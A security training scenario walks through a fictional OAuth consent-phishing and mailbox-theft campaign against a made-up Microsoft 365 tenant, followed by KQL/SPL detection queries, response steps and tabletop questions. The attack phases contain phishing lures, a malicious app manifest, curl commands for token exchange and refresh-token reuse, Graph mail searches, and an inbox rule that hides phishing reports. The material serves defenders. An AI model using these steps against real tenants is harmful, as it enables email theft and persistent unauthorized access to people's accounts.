Skip to content

SC-089: OAuth Token Abuse — Operation CONSENT STORM

Scenario Overview

Field Detail
ID SC-089
Category Identity Security / Cloud / Credential Abuse
Severity Critical
ATT&CK Tactics Initial Access, Credential Access, Collection, Persistence
ATT&CK Techniques T1528 (Steal Application Access Token), T1539 (Steal Web Session Cookie), T1114.002 (Email Collection: Remote Email Collection), T1078.004 (Valid Accounts: Cloud Accounts)
Target Environment Microsoft 365 E5 tenant with Azure AD (Entra ID), Exchange Online, and 2,400 user accounts across a financial services organization
Difficulty ★★★★☆
Duration 2–3 hours
Estimated Impact 38 accounts compromised via illicit OAuth consent grants; 12 mailboxes fully exfiltrated (4.2 GB email data); persistent refresh tokens surviving password resets; 6-hour dwell time before detection; full remediation requiring application consent revocation across tenant

Narrative

Aegis Financial Group, a fictional mid-market investment advisory firm, operates a Microsoft 365 E5 tenant at aegisfinancial.example.com. The organization has 2,400 employees across 8 offices, with heavy reliance on Exchange Online, SharePoint, and Teams. Their Azure AD tenant uses Conditional Access policies requiring MFA for all users, with a mix of Microsoft Authenticator push notifications and FIDO2 keys for executives.

The IT security team has deployed Microsoft Defender for Office 365 Plan 2, Azure AD Identity Protection at P2 licensing, and forwards sign-in logs to their SIEM. However, the tenant's user consent settings allow users to consent to apps from verified publishers — a common configuration that creates the attack surface exploited in this scenario.

In April 2026, a threat actor group designated VELVET HOOK v2 — an identity-focused APT specializing in OAuth abuse and cloud identity compromise — launches a targeted campaign against Aegis Financial. The attack begins with adversary-in-the-middle (AiTM) phishing to harvest session cookies, pivots to illicit OAuth application consent grants for persistent mailbox access, and establishes long-lived refresh tokens that survive password resets and MFA changes.

Attack Flow

graph TD
    A[Phase 1: AiTM Phishing Infrastructure<br/>Deploy reverse proxy phishing kit] --> B[Phase 2: Session Cookie Theft<br/>Harvest Azure AD session tokens via AiTM]
    B --> C[Phase 3: OAuth Application Registration<br/>Register malicious multi-tenant app]
    C --> D[Phase 4: Consent Grant Abuse<br/>Trick users into granting Mail.Read permissions]
    D --> E[Phase 5: Mailbox Exfiltration<br/>Graph API bulk email collection]
    E --> F[Phase 6: Refresh Token Persistence<br/>Maintain access beyond password resets]
    F --> G[Phase 7: Lateral Expansion<br/>Internal phishing from compromised accounts]
    G --> H[Phase 8: Detection & Response<br/>Consent audit + token revocation]

Phase Details

Phase 1: AiTM Phishing Infrastructure

ATT&CK Technique: T1539 (Steal Web Session Cookie)

VELVET HOOK v2 deploys an adversary-in-the-middle (AiTM) phishing infrastructure using a reverse proxy toolkit. The proxy sits between the victim and the legitimate Microsoft login page, passing authentication requests through to Microsoft while capturing the session cookie returned after successful MFA completion. This defeats MFA because the attacker captures the post-authentication session token, not the MFA factor itself.

# Simulated AiTM phishing infrastructure (educational only)
# The attacker deploys a reverse proxy on attacker-controlled infrastructure

# Phishing domain registered (synthetic):
#   login-aegisfinancial.example.com (typosquat of legitimate domain)
#   SSL certificate: Let's Encrypt wildcard for *.example.com
#   Hosting: 203.0.113.45 (attacker VPS)

# Reverse proxy configuration (conceptual - not a working exploit)
# The proxy transparently relays to login.microsoftonline.com
# while capturing the session cookie after MFA completion

# Phishing email sent to 150 targets in finance department:
From: sharepoint-noreply@aegisfinancial.example.com (spoofed)
To: <150 finance department users>
Subject: [Action Required] Q1 2026 Compensation Review — Approval Needed
Body:
  "Your Q1 2026 compensation adjustment has been submitted for
   your review and approval. Please review the details by clicking
   below before the April 5th deadline.

   [Review Compensation Details]
   → https://login-aegisfinancial.example.com/common/oauth2/authorize?..."

# The link points to the AiTM proxy, which displays the real
# Microsoft login page. Users authenticate normally, including MFA.
# The proxy captures the session cookie after successful auth.

# Simulated captured session data:
{
    "target": "j.martinez@aegisfinancial.example.com",
    "timestamp": "2026-04-01T09:14:22Z",
    "session_cookie": "ESTSAUTHPERSISTENT=<base64-encoded-token>",
    "ip_source": "198.51.100.12",
    "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
    "mfa_method": "Microsoft Authenticator push",
    "mfa_status": "completed_by_user"
}

# Results: 38 of 150 targets authenticated through the AiTM proxy
# All 38 session cookies captured post-MFA

ATT&CK Technique: T1539 (Steal Web Session Cookie)

Using the captured session cookies, VELVET HOOK v2 replays them from attacker infrastructure to establish authenticated sessions in the victims' Azure AD tenant. The attacker performs initial reconnaissance using Microsoft Graph API to enumerate organizational structure, identify high-value targets, and map OAuth application consent configurations.

# Simulated session cookie replay (educational only)
# Attacker replays captured session cookie to access Graph API

$ curl -s "https://graph.microsoft.com/v1.0/me" \
    -H "Cookie: ESTSAUTHPERSISTENT=<captured-session-cookie>" \
    -H "Authorization: Bearer <access-token-from-cookie-replay>"

# Response:
{
    "displayName": "Jessica Martinez",
    "mail": "j.martinez@aegisfinancial.example.com",
    "jobTitle": "Senior Financial Analyst",
    "department": "Finance",
    "officeLocation": "New York HQ"
}

# Enumerate tenant OAuth application consent settings
$ curl -s "https://graph.microsoft.com/v1.0/policies/authorizationPolicy" \
    -H "Authorization: Bearer <access-token>"

# Key finding:
{
    "defaultUserRolePermissions": {
        "permissionGrantPoliciesAssigned": [
            "ManagePermissionGrantsForSelf.microsoft-user-default-legacy"
        ]
    }
}
# Users CAN consent to apps from verified publishers
# This is the default M365 setting — and the attack vector

# Enumerate users with Global Admin or privileged roles
$ curl -s "https://graph.microsoft.com/v1.0/directoryRoles" \
    -H "Authorization: Bearer <access-token>" \
    | python3 -c "
import sys, json
data = json.load(sys.stdin)
for role in data['value']:
    print(f'{role[\"displayName\"]:40} ID: {role[\"id\"][:12]}...')
"
# Global Administrator                     ID: a1b2c3d4e5f6...
# Exchange Administrator                   ID: f6e5d4c3b2a1...
# Security Administrator                   ID: 1a2b3c4d5e6f...

Phase 3: Malicious OAuth Application Registration

ATT&CK Technique: T1528 (Steal Application Access Token)

VELVET HOOK v2 registers a malicious multi-tenant OAuth application in an attacker-controlled Azure AD tenant. The application is designed to request Microsoft Graph permissions for email access (Mail.Read, Mail.ReadWrite) and appears as a legitimate business productivity tool. The attacker uses a publisher domain they control that has been verified by Microsoft (a common tactic using a compromised verified publisher).

# Simulated malicious app registration (educational only)
# Attacker registers a multi-tenant app in their own tenant

# Application details (synthetic):
{
    "displayName": "Aegis DocuSign Integration",
    "description": "Secure document signing integration for Aegis Financial",
    "signInAudience": "AzureADMultipleOrgs",
    "web": {
        "redirectUris": [
            "https://app-aegisdocusign.example.com/auth/callback"
        ]
    },
    "requiredResourceAccess": [
        {
            "resourceAppId": "00000003-0000-0000-c000-000000000000",
            "resourceAccess": [
                {
                    "id": "570282fd-fa5c-430d-a7fd-fc8dc98a9dca",
                    "type": "Scope"
                },
                {
                    "id": "024d486e-b451-40bb-833d-3e66d98c5c73",
                    "type": "Scope"
                },
                {
                    "id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
                    "type": "Scope"
                }
            ]
        }
    ]
}
# Permissions requested:
#   Mail.Read (delegated) — Read user mail
#   Mail.ReadWrite (delegated) — Read and write user mail
#   User.Read (delegated) — Sign in and read user profile

# The app name mimics DocuSign, a tool commonly used in finance
# The redirect URI is attacker-controlled infrastructure

# Application ID (synthetic): a1b2c3d4-e5f6-7890-abcd-ef1234567890
# Attacker tenant: malicious-publisher.example.com

ATT&CK Technique: T1528 (Steal Application Access Token)

Using the compromised sessions from Phase 2, VELVET HOOK v2 sends internal-looking emails from compromised accounts directing recipients to the OAuth consent URL. Because the emails originate from legitimate internal accounts, they bypass email security filters. When users click the link, they are presented with the standard Microsoft consent prompt requesting Mail.Read and Mail.ReadWrite permissions.

# Simulated consent phishing (educational only)
# Attacker sends consent grant links from compromised internal accounts

# OAuth consent URL (synthetic):
# https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
#   client_id=a1b2c3d4-e5f6-7890-abcd-ef1234567890
#   &response_type=code
#   &redirect_uri=https://app-aegisdocusign.example.com/auth/callback
#   &scope=Mail.Read Mail.ReadWrite User.Read offline_access
#   &state=<random-state>

# Email sent FROM compromised account (internal):
From: j.martinez@aegisfinancial.example.com (legitimate compromised account)
To: <internal distribution list — 200 recipients>
Subject: DocuSign: Q1 Performance Review — Signature Required
Body:
  "Hi team,

   HR has posted the Q1 2026 performance review documents for your
   signature. Please click below to access via our new DocuSign
   integration. You may be asked to approve access on first use.

   [Sign Documents Now]
   → <OAuth consent URL>

   Thanks,
   Jessica Martinez
   Senior Financial Analyst"

# When users click, they see the Microsoft consent prompt:
# "Aegis DocuSign Integration is requesting permission to:
#   ✓ Read your mail
#   ✓ Read and write your mail
#   ✓ Sign you in and read your profile
#   ✓ Maintain access to data you have given it access to
#
#   [Accept]  [Cancel]"

# Results: 38 users granted consent
# The attacker now has OAuth tokens with Mail.Read/ReadWrite
# for each consenting user — WITHOUT needing their passwords

# Consent grant logged in Azure AD:
{
    "activityDateTime": "2026-04-01T10:22:15Z",
    "activityDisplayName": "Consent to application",
    "initiatedBy": {
        "user": {
            "userPrincipalName": "r.chen@aegisfinancial.example.com"
        }
    },
    "targetResources": [{
        "displayName": "Aegis DocuSign Integration",
        "id": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
        "modifiedProperties": [{
            "displayName": "ConsentContext.IsAdminConsent",
            "newValue": "False"
        }]
    }]
}

Phase 5: Mailbox Exfiltration via Graph API

ATT&CK Technique: T1114.002 (Email Collection: Remote Email Collection)

With delegated Mail.Read and Mail.ReadWrite permissions granted via OAuth consent, VELVET HOOK v2 systematically exfiltrates email from 12 high-value mailboxes. The attacker uses Microsoft Graph API with the OAuth tokens, querying for emails containing financial data, M&A discussions, credentials, and internal security communications.

# Simulated mailbox exfiltration via Graph API (educational only)
# Attacker uses OAuth tokens to read mail via Microsoft Graph

# Exchange token for Graph API access token using authorization code
$ curl -s -X POST \
    "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
    -d "client_id=a1b2c3d4-e5f6-7890-abcd-ef1234567890" \
    -d "scope=Mail.Read Mail.ReadWrite" \
    -d "code=<authorization-code-from-consent>" \
    -d "redirect_uri=https://app-aegisdocusign.example.com/auth/callback" \
    -d "grant_type=authorization_code" \
    -d "client_secret=REDACTED"

# Response:
{
    "access_token": "<graph-api-access-token>",
    "refresh_token": "<long-lived-refresh-token>",
    "expires_in": 3600,
    "token_type": "Bearer",
    "scope": "Mail.Read Mail.ReadWrite User.Read"
}

# Search for high-value emails across compromised mailboxes
$ curl -s "https://graph.microsoft.com/v1.0/me/messages?\$filter=\
    contains(subject,'confidential') or \
    contains(subject,'merger') or \
    contains(subject,'acquisition') or \
    contains(subject,'password') or \
    contains(subject,'credentials')&\$top=50&\$select=subject,from,receivedDateTime" \
    -H "Authorization: Bearer <graph-api-access-token>"

# Results from r.chen@aegisfinancial.example.com:
{
    "value": [
        {
            "subject": "RE: Project Titan — Merger Timeline (CONFIDENTIAL)",
            "from": {"emailAddress": {"address": "cfo@aegisfinancial.example.com"}},
            "receivedDateTime": "2026-03-28T14:22:00Z"
        },
        {
            "subject": "FW: Client Portfolio Access Credentials",
            "from": {"emailAddress": {"address": "it-support@aegisfinancial.example.com"}},
            "receivedDateTime": "2026-03-15T09:45:00Z"
        },
        {
            "subject": "Q1 Earnings Preview — Internal Only",
            "from": {"emailAddress": {"address": "ceo@aegisfinancial.example.com"}},
            "receivedDateTime": "2026-03-20T16:30:00Z"
        }
    ]
}

# Bulk export using Graph API pagination
# The attacker scripts automated collection across all 38 consented accounts
# Prioritizing 12 mailboxes with executive and finance content

# Exfiltration summary (synthetic):
# Total mailboxes accessed: 38 (consent granted)
# High-value mailboxes fully exfiltrated: 12
# Total emails collected: ~18,400
# Total data volume: 4.2 GB
# Categories: M&A discussions, financial reports, credentials, security alerts
# Exfil destination: 203.0.113.88 (attacker-controlled storage)

Phase 6: Refresh Token Persistence

ATT&CK Technique: T1078.004 (Valid Accounts: Cloud Accounts)

The OAuth consent grant provides VELVET HOOK v2 with refresh tokens that persist independently of the user's password and MFA configuration. Even if the organization detects the AiTM phishing and forces password resets, the OAuth refresh tokens remain valid until the consent grant is explicitly revoked. This is the critical persistence mechanism that distinguishes OAuth abuse from traditional credential theft.

# Simulated refresh token persistence (educational only)
# Attacker maintains access via refresh tokens even after password reset

# User r.chen changes password after security alert at T+4 hours
# The attacker's OAuth refresh token is STILL VALID

# Refresh the access token using the stored refresh token
$ curl -s -X POST \
    "https://login.microsoftonline.com/common/oauth2/v2.0/token" \
    -d "client_id=a1b2c3d4-e5f6-7890-abcd-ef1234567890" \
    -d "scope=Mail.Read Mail.ReadWrite" \
    -d "refresh_token=<stored-refresh-token>" \
    -d "grant_type=refresh_token" \
    -d "client_secret=REDACTED"

# Response — SUCCESS despite password change:
{
    "access_token": "<new-graph-api-access-token>",
    "refresh_token": "<new-refresh-token>",
    "expires_in": 3600,
    "token_type": "Bearer"
}

# The refresh token cycle continues because:
# 1. OAuth consent grants are independent of user credentials
# 2. Password resets do NOT revoke OAuth application consent
# 3. MFA re-enrollment does NOT revoke OAuth application consent
# 4. Only explicit consent revocation or app blocking stops access

# Persistence timeline:
# T+0h:  Initial consent granted, tokens issued
# T+4h:  User password reset (tokens STILL VALID)
# T+5h:  MFA re-enrolled (tokens STILL VALID)
# T+6h:  Session revoked via Revoke-AzureADUserAllRefreshToken
#         (tokens STILL VALID — this revokes session tokens, not app consent)
# T+8h:  OAuth consent explicitly revoked → ACCESS TERMINATED

# The attacker maintains continuous mailbox access for 8 hours
# through multiple remediation attempts that should have worked
# for traditional credential compromise

Phase 7: Lateral Expansion via Internal Phishing

ATT&CK Technique: T1528 (Steal Application Access Token)

With Mail.ReadWrite permissions, VELVET HOOK v2 uses compromised mailboxes to send additional consent phishing emails to other departments. Because these emails originate from legitimate internal accounts and reference real internal projects (gleaned from exfiltrated mail), they have extremely high click-through rates. The attacker also creates inbox rules to hide reply-all responses alerting users to the phishing.

# Simulated lateral expansion (educational only)
# Attacker uses Mail.ReadWrite to send phishing from compromised mailbox

# Create inbox rule to hide replies about the phishing
$ curl -s -X POST \
    "https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messageRules" \
    -H "Authorization: Bearer <graph-api-access-token>" \
    -H "Content-Type: application/json" \
    -d '{
        "displayName": "Auto-Archive",
        "sequence": 1,
        "isEnabled": true,
        "conditions": {
            "subjectContains": ["DocuSign", "phishing", "suspicious", "do not click"]
        },
        "actions": {
            "moveToFolder": "deletedItems",
            "markAsRead": true
        }
    }'

# Send phishing to additional departments using real project names
$ curl -s -X POST \
    "https://graph.microsoft.com/v1.0/me/sendMail" \
    -H "Authorization: Bearer <graph-api-access-token>" \
    -H "Content-Type: application/json" \
    -d '{
        "message": {
            "subject": "Project Titan Documents — Signature Required",
            "body": {
                "contentType": "HTML",
                "content": "<p>Please review and sign the updated Project Titan NDA via our DocuSign portal.</p><p><a href=\"<consent-URL>\">Sign Documents</a></p>"
            },
            "toRecipients": [
                {"emailAddress": {"address": "legal-team@aegisfinancial.example.com"}}
            ]
        }
    }'

# The reference to "Project Titan" (a real M&A project discovered
# in exfiltrated email) makes the phishing highly convincing

# Wave 2 results: additional 14 consent grants from legal department
# Total compromised accounts: 38 (wave 1) + 14 (wave 2) = 52

Phase 8: Detection & Response

The attack is detected through multiple monitoring channels:

Channel 1 (T+3 hours): Azure AD Identity Protection — Risky sign-in alerts trigger for multiple users authenticating from an anomalous IP block (203.0.113.0/24) shortly after legitimate sign-ins from corporate IP ranges. The AiTM proxy introduces a different source IP for the token replay.

Channel 2 (T+4.5 hours): Unusual OAuth Consent Pattern — A custom SIEM detection rule identifies 38 users consenting to the same previously-unseen application within a 90-minute window. This consent velocity is anomalous for any legitimate application rollout.

Channel 3 (T+6 hours): Graph API Anomaly — Microsoft Defender for Cloud Apps detects mass email access via Graph API from an unrecognized application. The volume (18,400 emails across 12 mailboxes) triggers the mass download alert.

# Simulated detection timeline (educational only)
[2026-04-01 12:15:00 UTC] AZURE AD IDENTITY PROTECTION — RISKY SIGN-IN
  Alert: UNFAMILIAR_SIGN_IN_PROPERTIES
  Details:
    - Users affected: 38 across finance department
    - Sign-in IP: 203.0.113.45 (not in trusted IP ranges)
    - Location: anomalous (user baseline: New York; sign-in: Eastern Europe)
    - MFA status: satisfied (via AiTM session cookie replay)
    - Risk level: HIGH
  Action: SOC investigation initiated

[2026-04-01 13:45:00 UTC] SIEM — MASS OAUTH CONSENT ALERT
  Alert: BULK_APPLICATION_CONSENT
  Details:
    - Application: "Aegis DocuSign Integration"
    - App ID: a1b2c3d4-e5f6-7890-abcd-ef1234567890
    - Publisher: malicious-publisher.example.com
    - Consenting users: 38 in 90-minute window
    - Permissions granted: Mail.Read, Mail.ReadWrite, User.Read
    - Application not in approved app catalog
  Severity: CRITICAL
  Action: Application blocked tenant-wide

[2026-04-01 15:00:00 UTC] DEFENDER FOR CLOUD APPS — MASS EMAIL ACCESS
  Alert: MASS_DOWNLOAD_BY_SINGLE_APPLICATION
  Details:
    - Application: "Aegis DocuSign Integration"
    - Mailboxes accessed: 12
    - Emails downloaded: ~18,400
    - Data volume: 4.2 GB
    - API calls: 2,847 Graph API requests in 3 hours
    - Source IP: 203.0.113.88
  Severity: CRITICAL
  Action: Token revocation + full consent audit

Detection Queries:

// KQL — Detect mass OAuth consent to a single application
AuditLogs
| where TimeGenerated > ago(24h)
| where OperationName == "Consent to application"
| extend AppId = tostring(TargetResources[0].id)
| extend AppName = tostring(TargetResources[0].displayName)
| extend ConsentUser = tostring(InitiatedBy.user.userPrincipalName)
| summarize ConsentCount = dcount(ConsentUser),
            Users = make_set(ConsentUser),
            FirstConsent = min(TimeGenerated),
            LastConsent = max(TimeGenerated)
  by AppId, AppName
| extend ConsentWindowMinutes = datetime_diff('minute', LastConsent, FirstConsent)
| where ConsentCount > 5 and ConsentWindowMinutes < 120
| project AppName, AppId, ConsentCount, ConsentWindowMinutes, Users

// KQL — Detect AiTM session replay (sign-in from anomalous IP after MFA)
SigninLogs
| where TimeGenerated > ago(24h)
| where ResultType == 0
| where AuthenticationRequirement == "multiFactorAuthentication"
| extend TrustedIP = IPAddress in ("192.168.0.0/16", "10.0.0.0/8")
| summarize IPs = make_set(IPAddress),
            IPCount = dcount(IPAddress),
            SignInCount = count()
  by UserPrincipalName, bin(TimeGenerated, 1h)
| where IPCount > 1
| mv-expand IPs
| where tostring(IPs) !startswith "10." and tostring(IPs) !startswith "192.168."
| project TimeGenerated, UserPrincipalName, IPs, IPCount, SignInCount

// KQL — Detect Graph API mass email access by OAuth application
CloudAppEvents
| where TimeGenerated > ago(24h)
| where ActionType == "MailItemsAccessed"
| extend AppId = tostring(RawEventData.AppId)
| extend MailboxOwner = tostring(RawEventData.MailboxOwnerUPN)
| summarize MailboxesAccessed = dcount(MailboxOwner),
            ItemsAccessed = count(),
            Mailboxes = make_set(MailboxOwner)
  by AppId, bin(TimeGenerated, 1h)
| where MailboxesAccessed > 3 or ItemsAccessed > 500
| project TimeGenerated, AppId, MailboxesAccessed, ItemsAccessed, Mailboxes

// KQL — Detect inbox rules created via Graph API (hiding phishing replies)
CloudAppEvents
| where TimeGenerated > ago(24h)
| where ActionType == "New-InboxRule"
| extend RuleName = tostring(RawEventData.Parameters[0].Value)
| extend MoveToFolder = tostring(RawEventData.Parameters[3].Value)
| where MoveToFolder has "deletedItems" or MoveToFolder has "junkEmail"
| extend AppId = tostring(RawEventData.AppId)
| where AppId != ""
| project TimeGenerated, Account = AccountObjectId, RuleName,
          MoveToFolder, AppId
# SPL — Detect mass OAuth consent to a single application
index=azuread sourcetype=azure:aad:audit
  operationName="Consent to application"
| spath output=app_id path=targetResources{}.id
| spath output=app_name path=targetResources{}.displayName
| spath output=consent_user path=initiatedBy.user.userPrincipalName
| bin _time span=2h
| stats dc(consent_user) as consent_count,
        values(consent_user) as users,
        min(_time) as first_consent,
        max(_time) as last_consent
  by app_id, app_name
| where consent_count > 5
| eval window_minutes=round((last_consent - first_consent)/60, 0)
| where window_minutes < 120
| table app_name, app_id, consent_count, window_minutes, users

# SPL — Detect AiTM session replay (sign-in from anomalous IP after MFA)
index=azuread sourcetype=azure:aad:signin
  resultType=0 authenticationRequirement="multiFactorAuthentication"
| bin _time span=1h
| stats dc(ipAddress) as ip_count,
        values(ipAddress) as ips,
        count as signin_count
  by userPrincipalName, _time
| where ip_count > 1
| mvexpand ips
| where NOT match(ips, "^(10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.)")
| table _time, userPrincipalName, ips, ip_count, signin_count

# SPL — Detect Graph API mass email access by OAuth application
index=o365 sourcetype=o365:management:activity
  Operation="MailItemsAccessed"
| spath output=app_id path=AppId
| spath output=mailbox_owner path=MailboxOwnerUPN
| bin _time span=1h
| stats dc(mailbox_owner) as mailboxes_accessed,
        count as items_accessed,
        values(mailbox_owner) as mailboxes
  by app_id, _time
| where mailboxes_accessed > 3 OR items_accessed > 500
| table _time, app_id, mailboxes_accessed, items_accessed, mailboxes

# SPL — Detect inbox rules created via Graph API
index=o365 sourcetype=o365:management:activity
  Operation="New-InboxRule"
| spath output=rule_name path=Parameters{}.Value
| spath output=app_id path=AppId
| where isnotnull(app_id) AND app_id!=""
| where match(rule_name, "(deleteditems|junkEmail|trash)")
| table _time, UserId, rule_name, app_id

Incident Response:

# Simulated incident response (educational only)
[2026-04-01 15:30:00 UTC] ALERT: OAuth Token Abuse Incident Response activated

[2026-04-01 15:35:00 UTC] ACTION: Block malicious application tenant-wide
  - Application "Aegis DocuSign Integration" BLOCKED in Enterprise Apps
  - App ID a1b2c3d4-e5f6-7890-abcd-ef1234567890 added to block list
  - User consent setting changed: Admin consent required for all apps

[2026-04-01 15:45:00 UTC] ACTION: Revoke all OAuth consent grants
  - 52 user consent grants REVOKED via PowerShell:
    Get-AzureADServicePrincipal -Filter "appId eq 'a1b2c3d4...'"
    | Remove-AzureADServicePrincipalOAuth2PermissionGrant
  - All refresh tokens for affected users REVOKED
  - All sessions for 52 affected accounts INVALIDATED

[2026-04-01 16:00:00 UTC] ACTION: Credential and session remediation
  - Password resets FORCED for all 52 affected accounts
  - MFA re-registration REQUIRED for all affected users
  - Conditional Access: block legacy authentication protocols
  - Conditional Access: require compliant device for Graph API access

[2026-04-01 16:30:00 UTC] ACTION: Inbox rule cleanup
  - Malicious inbox rules REMOVED from all 52 mailboxes
  - Mail flow trace: identified all phishing emails sent from compromised accounts
  - Phishing emails PURGED from all recipient mailboxes via Content Search

[2026-04-01 17:00:00 UTC] ACTION: Impact assessment
  Accounts compromised via AiTM: 38
  Accounts compromised via lateral phishing: 14
  Total accounts compromised: 52
  Mailboxes fully exfiltrated: 12
  Data volume exfiltrated: 4.2 GB (~18,400 emails)
  Sensitive data exposure: M&A discussions, credentials, financial reports
  Persistence mechanism: OAuth refresh tokens (survived password resets)
  Dwell time: 6 hours (AiTM to detection)
  Persistence survived: 2 password resets, 1 MFA re-enrollment

Decision Points (Tabletop Exercise)

Decision Point 1 — Pre-Incident

Your organization allows users to consent to OAuth apps from verified publishers. How do you balance user productivity (self-service app adoption) against the risk of consent phishing? What Conditional Access policies or consent workflow configurations would mitigate this attack without blocking all third-party integrations?

Decision Point 2 — During Detection

You detect 38 users consenting to a new OAuth application within 90 minutes. The application is from a verified publisher and requests Mail.Read permissions. How do you determine whether this is a legitimate application rollout by IT or a consent phishing attack? What distinguishing indicators do you check first?

Decision Point 3 — Remediation Gap

Your incident response team forces password resets for all compromised accounts, but the attacker maintains access via OAuth refresh tokens. How do you identify and close this gap? What is the correct order of remediation actions to ensure complete attacker eviction?

Decision Point 4 — Post-Incident

After full remediation, how do you audit the tenant for other unauthorized OAuth applications that may have been consented to previously? What ongoing monitoring do you implement to detect future consent phishing campaigns?

Lessons Learned

Key Takeaways

  1. AiTM phishing defeats MFA by capturing session tokens, not credentials — Traditional MFA (push notifications, OTP) does not protect against AiTM attacks because the attacker captures the post-authentication session cookie. Phishing-resistant MFA (FIDO2, Windows Hello for Business) prevents AiTM because the authentication is bound to the legitimate domain origin.

  2. OAuth consent grants persist independently of user credentials — Password resets, MFA re-enrollment, and session revocation do NOT invalidate OAuth application consent grants or their associated refresh tokens. Complete remediation requires explicit consent revocation and application blocking at the tenant level.

  3. User consent settings are a critical attack surface — The default Microsoft 365 configuration allowing users to consent to apps from verified publishers enables consent phishing at scale. Organizations should require admin consent for all applications or implement a consent request workflow with security review.

  4. OAuth abuse detection requires application-centric monitoring — Traditional identity monitoring focuses on user sign-ins. OAuth abuse detection requires monitoring application consent events, Graph API access patterns by application ID, and correlating application behavior across multiple user contexts.

  5. Internal phishing from compromised accounts bypasses email security — Emails sent from legitimate internal accounts using OAuth tokens (via Graph API sendMail) bypass most email security controls that focus on external sender reputation. Internal email anomaly detection and mail flow analysis are essential.

  6. Consent velocity is a high-fidelity detection signal — Multiple users consenting to the same previously-unseen application within a short window is a strong indicator of consent phishing. This pattern should trigger immediate investigation regardless of the application's publisher verification status.

MITRE ATT&CK Mapping

Technique ID Technique Name Phase
T1539 Steal Web Session Cookie Initial Access (AiTM session capture)
T1528 Steal Application Access Token Credential Access (OAuth consent phishing)
T1114.002 Email Collection: Remote Email Collection Collection (Graph API mailbox exfiltration)
T1078.004 Valid Accounts: Cloud Accounts Persistence (refresh token survival)
T1528 Steal Application Access Token Lateral Movement (consent phishing from compromised accounts)
T1564.008 Hide Artifacts: Email Hiding Rules Defense Evasion (inbox rules to hide alerts)